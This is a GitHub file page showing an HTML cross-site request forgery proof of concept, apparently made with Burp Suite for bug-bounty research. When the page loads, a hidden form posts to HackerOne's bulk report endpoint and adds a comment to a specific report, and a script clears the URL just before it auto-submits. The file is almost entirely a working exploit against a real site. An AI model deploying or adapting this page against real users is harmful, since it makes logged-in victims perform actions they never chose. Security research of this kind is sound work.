-
Notifications
You must be signed in to change notification settings - Fork 0
/
csrfpoc2.html
25 lines (25 loc) · 1.24 KB
/
csrfpoc2.html
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<form action="https://hackerone.com/reports/bulk" method="POST">
<input type="hidden" name="message" value="jjk" />
<input type="hidden" name="substate" value="" />
<input type="hidden" name="is_internal" value="false" />
<input type="hidden" name="reference" value="" />
<input type="hidden" name="add_reporter_to_original" value="false" />
<input type="hidden" name="reply_action" value="add-comment" />
<input type="hidden" name="mark_ineligible_for_bounty" value="false" />
<input type="hidden" name="unassign_report_on_close" value="false" />
<input type="hidden" name="code_review_patch" value="" />
<input type="hidden" name="code_review_diff_url" value="" />
<input type="hidden" name="reports_count" value="1" />
<input type="hidden" name="report_ids[]" value="2211657" />
<input type="hidden" name="bounty_currency" value="USD" />
<input type="submit" value="Submit request" />
</form>
<script>
history.pushState('', '', '/');
document.forms[0].submit();
</script>
</body>
</html>